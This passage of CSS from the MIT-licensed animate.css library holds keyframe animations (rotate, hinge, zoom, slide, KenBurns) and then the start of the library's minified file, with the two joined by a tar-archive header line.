    -webkit-transform: rotate3d(0, 0, 1, 200deg);
    transform: rotate3d(0, 0, 1, 200deg);
    opacity: 0;
  }
}

.rotateOut {
  -webkit-animation-name: rotateOut;
  animation-name: rotateOut;
}

@-webkit-keyframes rotateOutDownLeft {
  from {
    -webkit-transform-origin: left bottom;
    transform-origin: left bottom;
    opacity: 1;
  }

  to {
    -webkit-transform-origin: left bottom;
    transform-origin: left bottom;
    -webkit-transform: rotate3d(0, 0, 1, 45deg);
    transform: rotate3d(0, 0, 1, 45deg);
    opacity: 0;
  }
}

@keyframes rotateOutDownLeft {
  from {
    -webkit-transform-origin: left bottom;
    transform-origin: left bottom;
    opacity: 1;
  }

  to {
    -webkit-transform-origin: left bottom;
    transform-origin: left bottom;
    -webkit-transform: rotate3d(0, 0, 1, 45deg);
    transform: rotate3d(0, 0, 1, 45deg);
    opacity: 0;
  }
}

.rotateOutDownLeft {
  -webkit-animation-name: rotateOutDownLeft;
  animation-name: rotateOutDownLeft;
}

@-webkit-keyframes rotateOutDownRight {
  from {
    -webkit-transform-origin: right bottom;
    transform-origin: right bottom;
    opacity: 1;
  }

  to {
    -webkit-transform-origin: right bottom;
    transform-origin: right bottom;
    -webkit-transform: rotate3d(0, 0, 1, -45deg);
    transform: rotate3d(0, 0, 1, -45deg);
    opacity: 0;
  }
}

@keyframes rotateOutDownRight {
  from {
    -webkit-transform-origin: right bottom;
    transform-origin: right bottom;
    opacity: 1;
  }

  to {
    -webkit-transform-origin: right bottom;
    transform-origin: right bottom;
    -webkit-transform: rotate3d(0, 0, 1, -45deg);
    transform: rotate3d(0, 0, 1, -45deg);
    opacity: 0;
  }
}

.rotateOutDownRight {
  -webkit-animation-name: rotateOutDownRight;
  animation-name: rotateOutDownRight;
}

@-webkit-keyframes rotateOutUpLeft {
  from {
    -webkit-transform-origin: left bottom;
    transform-origin: left bottom;
    opacity: 1;
  }

  to {
    -webkit-transform-origin: left bottom;
    transform-origin: left bottom;
    -webkit-transform: rotate3d(0, 0, 1, -45deg);
    transform: rotate3d(0, 0, 1, -45deg);
    opacity: 0;
  }
}

@keyframes rotateOutUpLeft {
  from {
    -webkit-transform-origin: left bottom;
    transform-origin: left bottom;
    opacity: 1;
  }

  to {
    -webkit-transform-origin: left bottom;
    transform-origin: left bottom;
    -webkit-transform: rotate3d(0, 0, 1, -45deg);
    transform: rotate3d(0, 0, 1, -45deg);
    opacity: 0;
  }
}

.rotateOutUpLeft {
  -webkit-animation-name: rotateOutUpLeft;
  animation-name: rotateOutUpLeft;
}

@-webkit-keyframes rotateOutUpRight {
  from {
    -webkit-transform-origin: right bottom;
    transform-origin: right bottom;
    opacity: 1;
  }

  to {
    -webkit-transform-origin: right bottom;
    transform-origin: right bottom;
    -webkit-transform: rotate3d(0, 0, 1, 90deg);
    transform: rotate3d(0, 0, 1, 90deg);
    opacity: 0;
  }
}

@keyframes rotateOutUpRight {
  from {
    -webkit-transform-origin: right bottom;
    transform-origin: right bottom;
    opacity: 1;
  }

  to {
    -webkit-transform-origin: right bottom;
    transform-origin: right bottom;
    -webkit-transform: rotate3d(0, 0, 1, 90deg);
    transform: rotate3d(0, 0, 1, 90deg);
    opacity: 0;
  }
}

.rotateOutUpRight {
  -webkit-animation-name: rotateOutUpRight;
  animation-name: rotateOutUpRight;
}

@-webkit-keyframes hinge {
  0% {
    -webkit-transform-origin: top left;
    transform-origin: top left;
    -webkit-animation-timing-function: ease-in-out;
    animation-timing-function: ease-in-out;
  }

  20%,
  60% {
    -webkit-transform: rotate3d(0, 0, 1, 80deg);
    transform: rotate3d(0, 0, 1, 80deg);
    -webkit-transform-origin: top left;
    transform-origin: top left;
    -webkit-animation-timing-function: ease-in-out;
    animation-timing-function: ease-in-out;
  }

  40%,
  80% {
    -webkit-transform: rotate3d(0, 0, 1, 60deg);
    transform: rotate3d(0, 0, 1, 60deg);
    -webkit-transform-origin: top left;
    transform-origin: top left;
    -webkit-animation-timing-function: ease-in-out;
    animation-timing-function: ease-in-out;
    opacity: 1;
  }

  to {
    -webkit-transform: translate3d(0, 700px, 0);
    transform: translate3d(0, 700px, 0);
    opacity: 0;
  }
}

@keyframes hinge {
  0% {
    -webkit-transform-origin: top left;
    transform-origin: top left;
    -webkit-animation-timing-function: ease-in-out;
    animation-timing-function: ease-in-out;
  }

  20%,
  60% {
    -webkit-transform: rotate3d(0, 0, 1, 80deg);
    transform: rotate3d(0, 0, 1, 80deg);
    -webkit-transform-origin: top left;
    transform-origin: top left;
    -webkit-animation-timing-function: ease-in-out;
    animation-timing-function: ease-in-out;
  }

  40%,
  80% {
    -webkit-transform: rotate3d(0, 0, 1, 60deg);
    transform: rotate3d(0, 0, 1, 60deg);
    -webkit-transform-origin: top left;
    transform-origin: top left;
    -webkit-animation-timing-function: ease-in-out;
    animation-timing-function: ease-in-out;
    opacity: 1;
  }

  to {
    -webkit-transform: translate3d(0, 700px, 0);
    transform: translate3d(0, 700px, 0);
    opacity: 0;
  }
}

.hinge {
  -webkit-animation-duration: 2s;
  animation-duration: 2s;
  -webkit-animation-name: hinge;
  animation-name: hinge;
}

@-webkit-keyframes jackInTheBox {
  from {
    opacity: 0;
    -webkit-transform: scale(0.1) rotate(30deg);
    transform: scale(0.1) rotate(30deg);
    -webkit-transform-origin: center bottom;
    transform-origin: center bottom;
  }

  50% {
    -webkit-transform: rotate(-10deg);
    transform: rotate(-10deg);
  }

  70% {
    -webkit-transform: rotate(3deg);
    transform: rotate(3deg);
  }

  to {
    opacity: 1;
    -webkit-transform: scale(1);
    transform: scale(1);
  }
}

@keyframes jackInTheBox {
  from {
    opacity: 0;
    -webkit-transform: scale(0.1) rotate(30deg);
    transform: scale(0.1) rotate(30deg);
    -webkit-transform-origin: center bottom;
    transform-origin: center bottom;
  }

  50% {
    -webkit-transform: rotate(-10deg);
    transform: rotate(-10deg);
  }

  70% {
    -webkit-transform: rotate(3deg);
    transform: rotate(3deg);
  }

  to {
    opacity: 1;
    -webkit-transform: scale(1);
    transform: scale(1);
  }
}

.jackInTheBox {
  -webkit-animation-name: jackInTheBox;
  animation-name: jackInTheBox;
}

/* originally authored by Nick Pettit - https://github.com/nickpettit/glide
*/

@-webkit-keyframes rollIn {
  from {
    opacity: 0;
    -webkit-transform: translate3d(-100%, 0, 0) rotate3d(0, 0, 1, -120deg);
    transform: translate3d(-100%, 0, 0) rotate3d(0, 0, 1, -120deg);
  }

  to {
    opacity: 1;
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
  }
}

@keyframes rollIn {
  from {
    opacity: 0;
    -webkit-transform: translate3d(-100%, 0, 0) rotate3d(0, 0, 1, -120deg);
    transform: translate3d(-100%, 0, 0) rotate3d(0, 0, 1, -120deg);
  }

  to {
    opacity: 1;
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
  }
}

.rollIn {
  -webkit-animation-name: rollIn;
  animation-name: rollIn;
}

/* originally authored by Nick Pettit - https://github.com/nickpettit/glide
*/

@-webkit-keyframes rollOut {
  from {
    opacity: 1;
  }

  to {
    opacity: 0;
    -webkit-transform: translate3d(100%, 0, 0) rotate3d(0, 0, 1, 120deg);
    transform: translate3d(100%, 0, 0) rotate3d(0, 0, 1, 120deg);
  }
}

@keyframes rollOut {
  from {
    opacity: 1;
  }

  to {
    opacity: 0;
    -webkit-transform: translate3d(100%, 0, 0) rotate3d(0, 0, 1, 120deg);
    transform: translate3d(100%, 0, 0) rotate3d(0, 0, 1, 120deg);
  }
}

.rollOut {
  -webkit-animation-name: rollOut;
  animation-name: rollOut;
}

@-webkit-keyframes zoomIn {
  from {
    opacity: 0;
    -webkit-transform: scale3d(0.3, 0.3, 0.3);
    transform: scale3d(0.3, 0.3, 0.3);
  }

  50% {
    opacity: 1;
  }
}

@keyframes zoomIn {
  from {
    opacity: 0;
    -webkit-transform: scale3d(0.3, 0.3, 0.3);
    transform: scale3d(0.3, 0.3, 0.3);
  }

  50% {
    opacity: 1;
  }
}

.zoomIn {
  -webkit-animation-name: zoomIn;
  animation-name: zoomIn;
}

@-webkit-keyframes zoomInDown {
  from {
    opacity: 0;
    -webkit-transform: scale3d(0.1, 0.1, 0.1) translate3d(0, -1000px, 0);
    transform: scale3d(0.1, 0.1, 0.1) translate3d(0, -1000px, 0);
    -webkit-animation-timing-function: cubic-bezier(0.55, 0.055, 0.675,
0.19);
    animation-timing-function: cubic-bezier(0.55, 0.055, 0.675, 0.19);
  }

  60% {
    opacity: 1;
    -webkit-transform: scale3d(0.475, 0.475, 0.475) translate3d(0, 60px,
0);
    transform: scale3d(0.475, 0.475, 0.475) translate3d(0, 60px, 0);
    -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.32, 1);
    animation-timing-function: cubic-bezier(0.175, 0.885, 0.32, 1);
  }
}

@keyframes zoomInDown {
  from {
    opacity: 0;
    -webkit-transform: scale3d(0.1, 0.1, 0.1) translate3d(0, -1000px, 0);
    transform: scale3d(0.1, 0.1, 0.1) translate3d(0, -1000px, 0);
    -webkit-animation-timing-function: cubic-bezier(0.55, 0.055, 0.675,
0.19);
    animation-timing-function: cubic-bezier(0.55, 0.055, 0.675, 0.19);
  }

  60% {
    opacity: 1;
    -webkit-transform: scale3d(0.475, 0.475, 0.475) translate3d(0, 60px,
0);
    transform: scale3d(0.475, 0.475, 0.475) translate3d(0, 60px, 0);
    -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.32, 1);
    animation-timing-function: cubic-bezier(0.175, 0.885, 0.32, 1);
  }
}

.zoomInDown {
  -webkit-animation-name: zoomInDown;
  animation-name: zoomInDown;
}

@-webkit-keyframes zoomInLeft {
  from {
    opacity: 0;
    -webkit-transform: scale3d(0.1, 0.1, 0.1) translate3d(-1000px, 0, 0);
    transform: scale3d(0.1, 0.1, 0.1) translate3d(-1000px, 0, 0);
    -webkit-animation-timing-function: cubic-bezier(0.55, 0.055, 0.675,
0.19);
    animation-timing-function: cubic-bezier(0.55, 0.055, 0.675, 0.19);
  }

  60% {
    opacity: 1;
    -webkit-transform: scale3d(0.475, 0.475, 0.475) translate3d(10px, 0,
0);
    transform: scale3d(0.475, 0.475, 0.475) translate3d(10px, 0, 0);
    -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.32, 1);
    animation-timing-function: cubic-bezier(0.175, 0.885, 0.32, 1);
  }
}

@keyframes zoomInLeft {
  from {
    opacity: 0;
    -webkit-transform: scale3d(0.1, 0.1, 0.1) translate3d(-1000px, 0, 0);
    transform: scale3d(0.1, 0.1, 0.1) translate3d(-1000px, 0, 0);
    -webkit-animation-timing-function: cubic-bezier(0.55, 0.055, 0.675,
0.19);
    animation-timing-function: cubic-bezier(0.55, 0.055, 0.675, 0.19);
  }

  60% {
    opacity: 1;
    -webkit-transform: scale3d(0.475, 0.475, 0.475) translate3d(10px, 0,
0);
    transform: scale3d(0.475, 0.475, 0.475) translate3d(10px, 0, 0);
    -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.32, 1);
    animation-timing-function: cubic-bezier(0.175, 0.885, 0.32, 1);
  }
}

.zoomInLeft {
  -webkit-animation-name: zoomInLeft;
  animation-name: zoomInLeft;
}

@-webkit-keyframes zoomInRight {
  from {
    opacity: 0;
    -webkit-transform: scale3d(0.1, 0.1, 0.1) translate3d(1000px, 0, 0);
    transform: scale3d(0.1, 0.1, 0.1) translate3d(1000px, 0, 0);
    -webkit-animation-timing-function: cubic-bezier(0.55, 0.055, 0.675,
0.19);
    animation-timing-function: cubic-bezier(0.55, 0.055, 0.675, 0.19);
  }

  60% {
    opacity: 1;
    -webkit-transform: scale3d(0.475, 0.475, 0.475) translate3d(-10px, 0,
0);
    transform: scale3d(0.475, 0.475, 0.475) translate3d(-10px, 0, 0);
    -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.32, 1);
    animation-timing-function: cubic-bezier(0.175, 0.885, 0.32, 1);
  }
}

@keyframes zoomInRight {
  from {
    opacity: 0;
    -webkit-transform: scale3d(0.1, 0.1, 0.1) translate3d(1000px, 0, 0);
    transform: scale3d(0.1, 0.1, 0.1) translate3d(1000px, 0, 0);
    -webkit-animation-timing-function: cubic-bezier(0.55, 0.055, 0.675,
0.19);
    animation-timing-function: cubic-bezier(0.55, 0.055, 0.675, 0.19);
  }

  60% {
    opacity: 1;
    -webkit-transform: scale3d(0.475, 0.475, 0.475) translate3d(-10px, 0,
0);
    transform: scale3d(0.475, 0.475, 0.475) translate3d(-10px, 0, 0);
    -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.32, 1);
    animation-timing-function: cubic-bezier(0.175, 0.885, 0.32, 1);
  }
}

.zoomInRight {
  -webkit-animation-name: zoomInRight;
  animation-name: zoomInRight;
}

@-webkit-keyframes zoomInUp {
  from {
    opacity: 0;
    -webkit-transform: scale3d(0.1, 0.1, 0.1) translate3d(0, 1000px, 0);
    transform: scale3d(0.1, 0.1, 0.1) translate3d(0, 1000px, 0);
    -webkit-animation-timing-function: cubic-bezier(0.55, 0.055, 0.675,
0.19);
    animation-timing-function: cubic-bezier(0.55, 0.055, 0.675, 0.19);
  }

  60% {
    opacity: 1;
    -webkit-transform: scale3d(0.475, 0.475, 0.475) translate3d(0, -60px,
0);
    transform: scale3d(0.475, 0.475, 0.475) translate3d(0, -60px, 0);
    -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.32, 1);
    animation-timing-function: cubic-bezier(0.175, 0.885, 0.32, 1);
  }
}

@keyframes zoomInUp {
  from {
    opacity: 0;
    -webkit-transform: scale3d(0.1, 0.1, 0.1) translate3d(0, 1000px, 0);
    transform: scale3d(0.1, 0.1, 0.1) translate3d(0, 1000px, 0);
    -webkit-animation-timing-function: cubic-bezier(0.55, 0.055, 0.675,
0.19);
    animation-timing-function: cubic-bezier(0.55, 0.055, 0.675, 0.19);
  }

  60% {
    opacity: 1;
    -webkit-transform: scale3d(0.475, 0.475, 0.475) translate3d(0, -60px,
0);
    transform: scale3d(0.475, 0.475, 0.475) translate3d(0, -60px, 0);
    -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.32, 1);
    animation-timing-function: cubic-bezier(0.175, 0.885, 0.32, 1);
  }
}

.zoomInUp {
  -webkit-animation-name: zoomInUp;
  animation-name: zoomInUp;
}

@-webkit-keyframes zoomOut {
  from {
    opacity: 1;
  }

  50% {
    opacity: 0;
    -webkit-transform: scale3d(0.3, 0.3, 0.3);
    transform: scale3d(0.3, 0.3, 0.3);
  }

  to {
    opacity: 0;
  }
}

@keyframes zoomOut {
  from {
    opacity: 1;
  }

  50% {
    opacity: 0;
    -webkit-transform: scale3d(0.3, 0.3, 0.3);
    transform: scale3d(0.3, 0.3, 0.3);
  }

  to {
    opacity: 0;
  }
}

.zoomOut {
  -webkit-animation-name: zoomOut;
  animation-name: zoomOut;
}

@-webkit-keyframes zoomOutDown {
  40% {
    opacity: 1;
    -webkit-transform: scale3d(0.475, 0.475, 0.475) translate3d(0, -60px,
0);
    transform: scale3d(0.475, 0.475, 0.475) translate3d(0, -60px, 0);
    -webkit-animation-timing-function: cubic-bezier(0.55, 0.055, 0.675,
0.19);
    animation-timing-function: cubic-bezier(0.55, 0.055, 0.675, 0.19);
  }

  to {
    opacity: 0;
    -webkit-transform: scale3d(0.1, 0.1, 0.1) translate3d(0, 2000px, 0);
    transform: scale3d(0.1, 0.1, 0.1) translate3d(0, 2000px, 0);
    -webkit-transform-origin: center bottom;
    transform-origin: center bottom;
    -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.32, 1);
    animation-timing-function: cubic-bezier(0.175, 0.885, 0.32, 1);
  }
}

@keyframes zoomOutDown {
  40% {
    opacity: 1;
    -webkit-transform: scale3d(0.475, 0.475, 0.475) translate3d(0, -60px,
0);
    transform: scale3d(0.475, 0.475, 0.475) translate3d(0, -60px, 0);
    -webkit-animation-timing-function: cubic-bezier(0.55, 0.055, 0.675,
0.19);
    animation-timing-function: cubic-bezier(0.55, 0.055, 0.675, 0.19);
  }

  to {
    opacity: 0;
    -webkit-transform: scale3d(0.1, 0.1, 0.1) translate3d(0, 2000px, 0);
    transform: scale3d(0.1, 0.1, 0.1) translate3d(0, 2000px, 0);
    -webkit-transform-origin: center bottom;
    transform-origin: center bottom;
    -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.32, 1);
    animation-timing-function: cubic-bezier(0.175, 0.885, 0.32, 1);
  }
}

.zoomOutDown {
  -webkit-animation-name: zoomOutDown;
  animation-name: zoomOutDown;
}

@-webkit-keyframes zoomOutLeft {
  40% {
    opacity: 1;
    -webkit-transform: scale3d(0.475, 0.475, 0.475) translate3d(42px, 0,
0);
    transform: scale3d(0.475, 0.475, 0.475) translate3d(42px, 0, 0);
  }

  to {
    opacity: 0;
    -webkit-transform: scale(0.1) translate3d(-2000px, 0, 0);
    transform: scale(0.1) translate3d(-2000px, 0, 0);
    -webkit-transform-origin: left center;
    transform-origin: left center;
  }
}

@keyframes zoomOutLeft {
  40% {
    opacity: 1;
    -webkit-transform: scale3d(0.475, 0.475, 0.475) translate3d(42px, 0,
0);
    transform: scale3d(0.475, 0.475, 0.475) translate3d(42px, 0, 0);
  }

  to {
    opacity: 0;
    -webkit-transform: scale(0.1) translate3d(-2000px, 0, 0);
    transform: scale(0.1) translate3d(-2000px, 0, 0);
    -webkit-transform-origin: left center;
    transform-origin: left center;
  }
}

.zoomOutLeft {
  -webkit-animation-name: zoomOutLeft;
  animation-name: zoomOutLeft;
}

@-webkit-keyframes zoomOutRight {
  40% {
    opacity: 1;
    -webkit-transform: scale3d(0.475, 0.475, 0.475) translate3d(-42px, 0,
0);
    transform: scale3d(0.475, 0.475, 0.475) translate3d(-42px, 0, 0);
  }

  to {
    opacity: 0;
    -webkit-transform: scale(0.1) translate3d(2000px, 0, 0);
    transform: scale(0.1) translate3d(2000px, 0, 0);
    -webkit-transform-origin: right center;
    transform-origin: right center;
  }
}

@keyframes zoomOutRight {
  40% {
    opacity: 1;
    -webkit-transform: scale3d(0.475, 0.475, 0.475) translate3d(-42px, 0,
0);
    transform: scale3d(0.475, 0.475, 0.475) translate3d(-42px, 0, 0);
  }

  to {
    opacity: 0;
    -webkit-transform: scale(0.1) translate3d(2000px, 0, 0);
    transform: scale(0.1) translate3d(2000px, 0, 0);
    -webkit-transform-origin: right center;
    transform-origin: right center;
  }
}

.zoomOutRight {
  -webkit-animation-name: zoomOutRight;
  animation-name: zoomOutRight;
}

@-webkit-keyframes zoomOutUp {
  40% {
    opacity: 1;
    -webkit-transform: scale3d(0.475, 0.475, 0.475) translate3d(0, 60px,
0);
    transform: scale3d(0.475, 0.475, 0.475) translate3d(0, 60px, 0);
    -webkit-animation-timing-function: cubic-bezier(0.55, 0.055, 0.675,
0.19);
    animation-timing-function: cubic-bezier(0.55, 0.055, 0.675, 0.19);
  }

  to {
    opacity: 0;
    -webkit-transform: scale3d(0.1, 0.1, 0.1) translate3d(0, -2000px, 0);
    transform: scale3d(0.1, 0.1, 0.1) translate3d(0, -2000px, 0);
    -webkit-transform-origin: center bottom;
    transform-origin: center bottom;
    -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.32, 1);
    animation-timing-function: cubic-bezier(0.175, 0.885, 0.32, 1);
  }
}

@keyframes zoomOutUp {
  40% {
    opacity: 1;
    -webkit-transform: scale3d(0.475, 0.475, 0.475) translate3d(0, 60px,
0);
    transform: scale3d(0.475, 0.475, 0.475) translate3d(0, 60px, 0);
    -webkit-animation-timing-function: cubic-bezier(0.55, 0.055, 0.675,
0.19);
    animation-timing-function: cubic-bezier(0.55, 0.055, 0.675, 0.19);
  }

  to {
    opacity: 0;
    -webkit-transform: scale3d(0.1, 0.1, 0.1) translate3d(0, -2000px, 0);
    transform: scale3d(0.1, 0.1, 0.1) translate3d(0, -2000px, 0);
    -webkit-transform-origin: center bottom;
    transform-origin: center bottom;
    -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.32, 1);
    animation-timing-function: cubic-bezier(0.175, 0.885, 0.32, 1);
  }
}

.zoomOutUp {
  -webkit-animation-name: zoomOutUp;
  animation-name: zoomOutUp;
}

@-webkit-keyframes slideInDown {
  from {
    -webkit-transform: translate3d(0, -100%, 0);
    transform: translate3d(0, -100%, 0);
    visibility: visible;
  }

  to {
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
  }
}

@keyframes slideInDown {
  from {
    -webkit-transform: translate3d(0, -100%, 0);
    transform: translate3d(0, -100%, 0);
    visibility: visible;
  }

  to {
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
  }
}

.slideInDown {
  -webkit-animation-name: slideInDown;
  animation-name: slideInDown;
}

@-webkit-keyframes slideInLeft {
  from {
    -webkit-transform: translate3d(-100%, 0, 0);
    transform: translate3d(-100%, 0, 0);
    visibility: visible;
  }

  to {
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
  }
}

@keyframes slideInLeft {
  from {
    -webkit-transform: translate3d(-100%, 0, 0);
    transform: translate3d(-100%, 0, 0);
    visibility: visible;
  }

  to {
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
  }
}

.slideInLeft {
  -webkit-animation-name: slideInLeft;
  animation-name: slideInLeft;
}

@-webkit-keyframes slideInRight {
  from {
    -webkit-transform: translate3d(100%, 0, 0);
    transform: translate3d(100%, 0, 0);
    visibility: visible;
  }

  to {
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
  }
}

@keyframes slideInRight {
  from {
    -webkit-transform: translate3d(100%, 0, 0);
    transform: translate3d(100%, 0, 0);
    visibility: visible;
  }

  to {
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
  }
}

.slideInRight {
  -webkit-animation-name: slideInRight;
  animation-name: slideInRight;
}

@-webkit-keyframes slideInUp {
  from {
    -webkit-transform: translate3d(0, 100%, 0);
    transform: translate3d(0, 100%, 0);
    visibility: visible;
  }

  to {
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
  }
}

@keyframes slideInUp {
  from {
    -webkit-transform: translate3d(0, 100%, 0);
    transform: translate3d(0, 100%, 0);
    visibility: visible;
  }

  to {
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
  }
}

.slideInUp {
  -webkit-animation-name: slideInUp;
  animation-name: slideInUp;
}

@-webkit-keyframes slideOutDown {
  from {
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
  }

  to {
    visibility: hidden;
    -webkit-transform: translate3d(0, 100%, 0);
    transform: translate3d(0, 100%, 0);
  }
}

@keyframes slideOutDown {
  from {
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
  }

  to {
    visibility: hidden;
    -webkit-transform: translate3d(0, 100%, 0);
    transform: translate3d(0, 100%, 0);
  }
}

.slideOutDown {
  -webkit-animation-name: slideOutDown;
  animation-name: slideOutDown;
}

@-webkit-keyframes slideOutLeft {
  from {
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
  }

  to {
    visibility: hidden;
    -webkit-transform: translate3d(-100%, 0, 0);
    transform: translate3d(-100%, 0, 0);
  }
}

@keyframes slideOutLeft {
  from {
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
  }

  to {
    visibility: hidden;
    -webkit-transform: translate3d(-100%, 0, 0);
    transform: translate3d(-100%, 0, 0);
  }
}

.slideOutLeft {
  -webkit-animation-name: slideOutLeft;
  animation-name: slideOutLeft;
}

@-webkit-keyframes slideOutRight {
  from {
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
  }

  to {
    visibility: hidden;
    -webkit-transform: translate3d(100%, 0, 0);
    transform: translate3d(100%, 0, 0);
  }
}

@keyframes slideOutRight {
  from {
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
  }

  to {
    visibility: hidden;
    -webkit-transform: translate3d(100%, 0, 0);
    transform: translate3d(100%, 0, 0);
  }
}

.slideOutRight {
  -webkit-animation-name: slideOutRight;
  animation-name: slideOutRight;
}

@-webkit-keyframes slideOutUp {
  from {
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
  }

  to {
    visibility: hidden;
    -webkit-transform: translate3d(0, -100%, 0);
    transform: translate3d(0, -100%, 0);
  }
}

@keyframes slideOutUp {
  from {
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
  }

  to {
    visibility: hidden;
    -webkit-transform: translate3d(0, -100%, 0);
    transform: translate3d(0, -100%, 0);
  }
}

.slideOutUp {
  -webkit-animation-name: slideOutUp;
  animation-name: slideOutUp;
}

/* KenBurns Effect */
@keyframes kenburnsBottomLeft {
  0% {
    transform: scale(1) translate(0, 0);
    transform-origin: 16% 84%;
  }
  100% {
    transform: scale(1.25) translate(-20px, 15px);
    transform-origin: left bottom;
  }
}

/* Active slide needs to be selected because of possible conflicts between
slides */
.swiper-slide-active .kenburnsBottomLeft {
 /* -webkit-animation-name: kenburnsBottomLeft;
  animation-name: kenburnsBottomLeft;*/
  animation: kenburnsBottomLeft 8s ease-out both;

}
animate/animate.min.css000064400000162466151170511360011113
0ustar00@charset "UTF-8";/*!
 * animate.css -http://daneden.me/animate
 * Version - 3.6.0
 * Licensed under the MIT license - http://opensource.org/licenses/MIT
 *
 * Copyright (c) 2018 Daniel Eden
 */.animated{-webkit-animation-duration:1s;animation-duration:1s;-webkit-animation-fill-mode:both;animation-fill-mode:both}.animated.infinite{-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite}@-webkit-keyframes
bounce{20%,53%,80%,from,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1);-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}40%,43%{-webkit-animation-timing-function:cubic-bezier(.755,.05,.855,.06);animation-timing-function:cubic-bezier(.755,.05,.855,.06);-webkit-transform:translate3d(0,-30px,0);transform:translate3d(0,-30px,0)}70%{-webkit-animation-timing-function:cubic-bezier(.755,.05,.855,.06);animation-timing-function:cubic-bezier(.755,.05,.855,.06);-webkit-transform:translate3d(0,-15px,0);transform:translate3d(0,-15px,0)}90%{-webkit-transform:translate3d(0,-4px,0);transform:translate3d(0,-4px,0)}}@keyframes
bounce{20%,53%,80%,from,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1);-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}40%,43%{-webkit-animation-timing-function:cubic-bezier(.755,.05,.855,.06);animation-timing-function:cubic-bezier(.755,.05,.855,.06);-webkit-transform:translate3d(0,-30px,0);transform:translate3d(0,-30px,0)}70%{-webkit-animation-timing-function:cubic-bezier(.755,.05,.855,.06);animation-timing-function:cubic-bezier(.755,.05,.855,.06);-webkit-transform:translate3d(0,-15px,0);transform:translate3d(0,-15px,0)}90%{-webkit-transform:translate3d(0,-4px,0);transform:translate3d(0,-4px,0)}}.bounce{-webkit-animation-name:bounce;animation-name:bounce;-webkit-transform-origin:center
bottom;transform-origin:center bottom}@-webkit-keyframes
flash{50%,from,to{opacity:1}25%,75%{opacity:0}}@keyframes
flash{50%,from,to{opacity:1}25%,75%{opacity:0}}.flash{-webkit-animation-name:flash;animation-name:flash}@-webkit-keyframes
pulse{from{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}50%{-webkit-transform:scale3d(1.05,1.05,1.05);transform:scale3d(1.05,1.05,1.05)}to{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}@keyframes
pulse{from{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}50%{-webkit-transform:scale3d(1.05,1.05,1.05);transform:scale3d(1.05,1.05,1.05)}to{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}.pulse{-webkit-animation-name:pulse;animation-name:pulse}@-webkit-keyframes
rubberBand{from{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}30%{-webkit-transform:scale3d(1.25,.75,1);transform:scale3d(1.25,.75,1)}40%{-webkit-transform:scale3d(.75,1.25,1);transform:scale3d(.75,1.25,1)}50%{-webkit-transform:scale3d(1.15,.85,1);transform:scale3d(1.15,.85,1)}65%{-webkit-transform:scale3d(.95,1.05,1);transform:scale3d(.95,1.05,1)}75%{-webkit-transform:scale3d(1.05,.95,1);transform:scale3d(1.05,.95,1)}to{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}@keyframes
rubberBand{from{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}30%{-webkit-transform:scale3d(1.25,.75,1);transform:scale3d(1.25,.75,1)}40%{-webkit-transform:scale3d(.75,1.25,1);transform:scale3d(.75,1.25,1)}50%{-webkit-transform:scale3d(1.15,.85,1);transform:scale3d(1.15,.85,1)}65%{-webkit-transform:scale3d(.95,1.05,1);transform:scale3d(.95,1.05,1)}75%{-webkit-transform:scale3d(1.05,.95,1);transform:scale3d(1.05,.95,1)}to{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}.rubberBand{-webkit-animation-name:rubberBand;animation-name:rubberBand}@-webkit-keyframes
shake{from,to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}10%,30%,50%,70%,90%{-webkit-transform:translate3d(-10px,0,0);transform:translate3d(-10px,0,0)}20%,40%,60%,80%{-webkit-transform:translate3d(10px,0,0);transform:translate3d(10px,0,0)}}@keyframes
